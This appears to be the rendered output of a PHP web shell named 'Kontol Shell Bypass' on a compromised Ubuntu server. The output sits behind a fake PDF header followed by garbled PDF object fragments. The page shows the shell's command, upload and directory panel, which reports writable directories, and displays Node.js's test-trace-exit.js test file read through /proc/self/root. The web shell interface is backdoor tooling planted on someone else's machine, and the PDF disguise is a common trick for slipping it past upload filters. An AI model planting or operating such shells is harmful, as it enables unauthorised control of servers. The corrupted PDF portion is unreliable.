%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-trace-exit.js
'use strict';
const common = require('../common');
const assert = require('assert');
const { promisify } = require('util');
const execFile = promisify(require('child_process').execFile);
const { Worker, isMainThread, workerData } = require('worker_threads');

const variant = process.argv[process.argv.length - 1];
switch (true) {
  case variant === 'main-thread': {
    return;
  }
  case variant === 'main-thread-exit': {
    return process.exit(0);
  }
  case variant.startsWith('worker-thread'): {
    const worker = new Worker(__filename, { workerData: variant });
    worker.on('error', common.mustNotCall());
    worker.on('exit', common.mustCall((code) => {
      assert.strictEqual(code, 0);
    }));
    return;
  }
  case !isMainThread: {
    if (workerData === 'worker-thread-exit') {
      process.exit(0);
    }
    return;
  }
}

(async function() {
  for (const { execArgv, variant, warnings } of [
    { execArgv: ['--trace-exit'], variant: 'main-thread-exit', warnings: 1 },
    { execArgv: [], variant: 'main-thread-exit', warnings: 0 },
    { execArgv: ['--trace-exit'], variant: 'main-thread', warnings: 0 },
    { execArgv: [], variant: 'main-thread', warnings: 0 },
    { execArgv: ['--trace-exit'], variant: 'worker-thread-exit', warnings: 1 },
    { execArgv: [], variant: 'worker-thread-exit', warnings: 0 },
    { execArgv: ['--trace-exit'], variant: 'worker-thread', warnings: 0 },
    { execArgv: [], variant: 'worker-thread', warnings: 0 },
  ]) {
    const { stdout, stderr } =
      await execFile(process.execPath, [...execArgv, __filename, variant]);
    assert.strictEqual(stdout, '');
    const actualWarnings =
      stderr.match(/WARNING: Exited the environment with code 0/g);
    if (warnings === 0) {
      assert.strictEqual(actualWarnings, null);
      continue;
    }
    assert.strictEqual(actualWarnings.length, warnings);

    if (variant.startsWith('worker')) {
      const workerIds = stderr.match(/\(node:\d+, thread:\d+\)/g);
      assert.strictEqual(workerIds.length, warnings);
    }
  }
})().then(common.mustCall());

Kontol Shell Bypass